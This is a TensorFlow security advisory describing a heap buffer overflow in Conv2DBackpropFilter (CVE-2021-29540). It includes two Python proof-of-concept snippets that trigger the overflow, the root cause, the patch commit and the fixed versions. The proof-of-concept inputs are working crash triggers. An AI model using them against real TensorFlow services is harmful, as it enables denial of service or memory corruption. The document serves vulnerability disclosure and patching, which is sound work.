Heap buffer overflow in `Conv2DBackpropFilter`

Low **mihaimaruseac** published **GHSA-xgc3-m89p-vr3x** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can cause a heap buffer overflow to occur in `Conv2DBackpropFilter`:

```
import tensorflow as tf

input_tensor = tf.constant([386.078431372549, 386.07843139643234],
                           shape=[1, 1, 1, 2], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],
                           dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
  input=input_tensor,
  filter_sizes=filter_sizes,
  out_backprop=out_backprop,
  strides=[1, 66, 49, 1],
  use_cudnn_on_gpu=True,
  padding='VALID',
  explicit_paddings=[],
  data_format='NHWC',
  dilations=[1, 1, 1, 1]
)
```

Alternatively, passing empty tensors also results in similar behavior:

```
import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)
filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
  input=input_tensor,
  filter_sizes=filter_sizes,
  out_backprop=out_backprop,
  strides=[1, 66, 49, 1],
  use_cudnn_on_gpu=True,
  padding='VALID',
  explicit_paddings=[],
  data_format='NHWC',
  dilations=[1, 1, 1, 1]
)
```

This is because the implementation computes the size of the filter tensor but does not validate that it matches the number of elements in `filter_sizes`. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.

Patches

We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29540

Weaknesses

No CWEs